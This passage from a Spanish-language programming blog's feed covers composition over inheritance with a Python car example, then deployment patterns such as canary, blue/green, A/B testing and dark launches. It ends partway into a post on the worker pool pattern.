nuevo&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;composition-vs-inheritance-diagram&#34;&gt;Composition vs inheritance diagram&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747115834/coffee-bytes/composition-vs-inheritance_dbdzvv.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747115834/coffee-bytes/composition-vs-inheritance_dbdzvv.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Composition vs inheritance diagram&#34; width=&#34;1170&#34; height=&#34;805&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Composition vs inheritance diagram&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;composicion-sobre-herencia-ejemplo&#34;&gt;Composición sobre herencia, ejemplo&lt;/h3&gt;&#xA;&lt;p&gt;Y puesto en un ejemplo usando código en Python obtendriamos algo como:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Inheritance o herencia&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Car&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start_engine&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Starting engine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SportsCar&lt;/span&gt;(Car):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start_engine&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Rrrrrrrr! Starting engine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Composition o composición&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Engine&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Starting engine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Car&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;engine &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Engine()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start_engine&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;engine&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;start()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SportsCar&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;engine &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Engine()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start_engine&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Vroooooom! Starting engine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Using Composition&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;regular_car &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Car()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;regular_car&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;start_engine()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fast_car &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SportsCar()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fast_car&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;start_engine()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo de herencia, empezamos con un &amp;ldquo;Automóvil&amp;rdquo; de LEGO básico y lo modificamos para hacer un &amp;ldquo;SportsCar&amp;rdquo;. En el ejemplo de composición, construimos un &amp;ldquo;Automóvil&amp;rdquo; y un &amp;ldquo;SportsCar&amp;rdquo; combinando piezas más pequeñas, como el motor. Es como utilizar piezas de LEGO para construir coches, y nos da más control y flexibilidad a la hora de escribir nuestros programas.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El paradigma de Composition over inheritance, o composición sobre herencia es un tema recurrente en la programación orientada a objectos. Generalmente, se explica de una manera muy compleja, pero hoy voy a tratar de simplificarlo al punto en que los puristas me detesten.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747115834/coffee-bytes/composition-vs-inheritance_dbdzvv.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747115834/coffee-bytes/composition-vs-inheritance_dbdzvv.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Composition vs inheritance diagrama&#34; width=&#34;1170&#34; height=&#34;805&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Composition vs inheritance diagrama&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Empezamos, imagina que tienes una gigantesca caja de ladrillos LEGO, sí, esos pequeños bloques de plástico que causan un dolor inimaginable cuando los pisas. Pero, en este caso, no los usaremos para causar dolor sino para construir diferentes tipos de automóviles.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Patrones De Deployment o Despliegue Útiles</title>
      <link>https://coffeebytes.dev/es/software-architecture/patrones-de-deployment-o-despliegue-utiles/</link>
      <pubDate>Fri, 18 Aug 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/patrones-de-deployment-o-despliegue-utiles/</guid>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;que-es-un-patron-de-deployment-o-despliegue&#34;&gt;¿Qué es un patrón de deployment o despliegue?&lt;/h2&gt;&#xA;&lt;p&gt;Un patrón de deployment (No confundir con un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/patrones-de-diseno-o-software-design-patterns/&#34;&gt;patrón de diseño&lt;/a&gt;&#xA;) es un método automático de implementar nuevas características de una aplicación a tus usuarios. Pero no se detiene ahí, es posible obtener información extra a partir de un deploy de una aplicación, pero&amp;hellip; ¿cómo?&lt;/p&gt;&#xA;&lt;p&gt;Imagínate que quieres probar una característica de tu aplicación web, pero temes que no vaya a ser del agrado de tus usuarios, o quieres ver si esta nueva característica sube o baja el porcentaje de conversiones en tu aplicación, lo cual es invaluable, sobre todo en las etapas tempranas de iteración de una aplicación.&lt;/p&gt;&#xA;&lt;p&gt;¿Qué se puede hacer en estos casos? Lo mejor sería probarlo en una muestra representativa de tu público y, dependiendo de como responda, desecharla o implementarla al resto de los usuarios.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;patrones-de-despligue-comunes&#34;&gt;Patrones de despligue comunes&lt;/h2&gt;&#xA;&lt;p&gt;Existen una serie de patrones de despligue bastante usados:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Despliegue monolítico&lt;/li&gt;&#xA;&lt;li&gt;Despliegue de microservicios&lt;/li&gt;&#xA;&lt;li&gt;Containerization&lt;/li&gt;&#xA;&lt;li&gt;Serverless Deployment&lt;/li&gt;&#xA;&lt;li&gt;Continuous Integration (CI) / Continuous Deployment (CD)&lt;/li&gt;&#xA;&lt;li&gt;Canary&lt;/li&gt;&#xA;&lt;li&gt;Features toggles&lt;/li&gt;&#xA;&lt;li&gt;Blue/Green&lt;/li&gt;&#xA;&lt;li&gt;A/B Testing&lt;/li&gt;&#xA;&lt;li&gt;Dark launches&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Para este post voy a centrarme en los últimos patrones, puesto que son de los que menos he leído información en internet. Considera que &lt;strong&gt;los patrones de deploy o despligue pueden combinarse unos con otros&lt;/strong&gt;. Por ejemplo, puedes realizar pruebas A/B sobre tu aplicación monolítica para encontrar la mejor versión. Dicho lo anterior, explicaré los patrones.&lt;/p&gt;&#xA;&lt;h3 id=&#34;canary-deployment&#34;&gt;Canary deployment&lt;/h3&gt;&#xA;&lt;p&gt;Este patrón consiste en mostrar las nuevas características a un pequeño grupo de usuarios. Tras analizar y corregir el desempeño de las nuevas características y, si es conveniente, el deploy se extiende a la totalidad de usuarios.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    LoadBalancer--&gt;Ver-1;&#xA;    LoadBalancer--&gt;Ver-2-Canary;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;features-toggles-deployment&#34;&gt;Features toggles deployment&lt;/h3&gt;&#xA;&lt;p&gt;En lugar de liberar todos los cambios al mismo tiempo, este patrón esconde las características nuevas tras un switch, que se puede encender o apagar  sin modificar el código. Esto permite liberar los cambios de manera gradual o solo a ciertos usuarios, lo que lo vuelve fácil de testear y administrar. Este método tiene la ventaja de que si un problema ocurre, puedes poner el switch en apagado sin necesidad de retornar el código a un estado anterior.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    Server-- on/off --&gt; Feature1;&#xA;    Server-- on/off --&gt; Feature2;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;bluegreen-deployments&#34;&gt;Blue/green deployments&lt;/h3&gt;&#xA;&lt;p&gt;En el deployment blue/green tenemos dos entornos similares de manera simultanea. Estos entornos se conocerán con el nombre de blue y green. En cualquier momento solo de los dos entornos se encontrará activo, mientras que balanceamos la carga de un entorno a otro. Si encontramos algun error simplemente ajustamos el balance de carga al lado contrario.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    LoadBalancer--&gt;Stagging;&#xA;    LoadBalancer-.-&gt;Production;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;ab-testing-deployment&#34;&gt;A/B testing deployment&lt;/h3&gt;&#xA;&lt;p&gt;El testeo A/B es el clásico de toda la vida; un conjunto aleatorio de nuestros usuarios recibirá la version A de la aplicación, mientras que el resto recibirá la versión B. Posteriormente se usará estadísticas, específicamente la prueba T para dos muestras, para determinar cual versión (La A o la B) es más efectiva.&lt;/p&gt;&#xA;&lt;p&gt;El porcentaje de distribución no necesariamente tiene que ser 50-50.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    LoadBalancer--&gt;VersionA--&gt;30[&#34;30%&#34;]--&gt;Analysis;&#xA;    LoadBalancer--&gt;VersionB--&gt;70[&#34;70%&#34;]--&gt;Analysis--&gt;Statistics;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;dark-launches-deployment&#34;&gt;Dark launches deployment&lt;/h3&gt;&#xA;&lt;p&gt;Este tipo de patrón de deployment es bastante similar al Canary deployment, sin embargo en este caso los usuarios deben estar concientes de que están recibiendo una versión de prueba y deben conocer la nueva funcionalidad que está siendo puesta a prueba. Con este conocimiento los usuarios serán capaces de brindar feedback de la nueva funcionalidad.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    LoadBalancer--&gt;Normal;&#xA;    LoadBalancer---|Inform the users|DarkLaunch;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Considera que muchos proyectos no llegan al tamaño necesario para que un patrón de deploy pueda resultar útil, y que si tu aplicación tiene pocos usuarios incluso puede resultar contraproducente. Empero, si no es el caso, puedes echar mano de uno o varios de ellos para extraer información valiosísima para tu aplicación.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;que-es-un-patron-de-deployment-o-despliegue&#34;&gt;¿Qué es un patrón de deployment o despliegue?&lt;/h2&gt;&#xA;&lt;p&gt;Un patrón de deployment (No confundir con un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/patrones-de-diseno-o-software-design-patterns/&#34;&gt;patrón de diseño&lt;/a&gt;&#xA;) es un método automático de implementar nuevas características de una aplicación a tus usuarios. Pero no se detiene ahí, es posible obtener información extra a partir de un deploy de una aplicación, pero&amp;hellip; ¿cómo?&lt;/p&gt;&#xA;&lt;p&gt;Imagínate que quieres probar una característica de tu aplicación web, pero temes que no vaya a ser del agrado de tus usuarios, o quieres ver si esta nueva característica sube o baja el porcentaje de conversiones en tu aplicación, lo cual es invaluable, sobre todo en las etapas tempranas de iteración de una aplicación.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Explicación del Patron De Diseño Worker Pool</title>
      <link>https://coffeebytes.dev/es/software-architecture/explicacion-del-patron-de-diseno-worker-pool/</link>
      <pubDate>Wed, 28 Jun 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/explicacion-del-patron-de-diseno-worker-pool/</guid>
      
      <category>software architecture</category>
      
      <category>Go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Esta entrada va sobre un patrón de diseño, llamado Worker Pool (Piscina de workers o trabajadores suena espantoso, lo usaré en inglés) del que, en su momento, encontré muy poca información en español. Imagínate que tienes una serie de tareas concurrentes que quieres realizar, ya sea realizar crawling de muchos sitios web, o quizás procesar información de cada uno de los pixeles de una imagen o cualquier otra cosa que se te ocurra.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;La opción simplista es crear una serie de workers y usarlos de manera concurrente, algo parecido a este pseudocódigo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; job &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; jobs:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; process_concurrent_job()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? 